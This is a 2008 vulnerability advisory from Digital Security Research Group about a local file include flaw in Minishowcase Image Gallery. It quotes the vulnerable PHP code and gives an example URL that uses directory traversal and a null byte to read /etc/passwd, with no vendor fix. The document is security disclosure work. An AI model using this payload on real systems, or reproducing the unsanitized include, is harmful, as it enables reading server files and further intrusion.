DSECRG-08-034.txt

2008-07-29T00:00:00
ID PACKETSTORM:68589
Type packetstorm
Reporter Digital Security Research Group
Modified 2008-07-29T00:00:00

Description

                                        
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Digital Security Research Group [DSecRG] Advisory #DSECRG-08-034  
  
  
Application: Minishowcase Image Gallery   
Versions Affected: v09b136  
Vendor URL: http://minishowcase.frwrd.net  
Bug: Local File Include  
Exploits: YES  
Reported: 14.07.2008  
Second report: 22.07.2008  
Vendor response: NONE  
Solution: NONE  
Date of Public Advisory: 29.07.2008  
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Description  
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Minishowcase Image Gallery has local file include vulnerability in script libraries/general.init.php  
  
Vulnerable GET parameters "lang".  
  
Successful exploitation requires that "register_globals" is enabled.  
  
Code  
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#################################################  
  
...  
$_dir_file = dirname(dirname(__FILE__));  
$_dir_path = dirname($_SERVER["DOCUMENT_ROOT"] . $_SERVER['PHP_SELF']);  
  
if ($_dir_file != $_dir_path) {  
if (!isset($settings['minishowcase_url'])  
|| ($settings['minishowcase_url'] == "")) {  
die ("<p style=\"margin:6px;padding:20px;text-align:left;font-size:18px;background:#f60;color:#FFF;\">ALERT: if you are including minishowcase with PHP into a website, please set the <code>\$minishowcase_url</code> variable in the <code>/config/settings.php</code> file</p>");  
}  
}  
...  
if (isset($_GET["lang"])) $set_language = $_GET["lang"];  
$langfile = ROOT.'languages/'.$set_language.'.php';  
require_once($langfile);  
  
#################################################  
  
Example:  
  
http://[server]/[installdir]/libraries/general.init.php?settings[minishowcase_url]=DSecRG&lang=../../../../../../../../../../../../../etc/passwd%00  
  
  
Solution  
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No response or any updates from vendor.  
  
  
About  
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Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsec [dot] ru  
http://www.dsec.ru (in Russian)  
  
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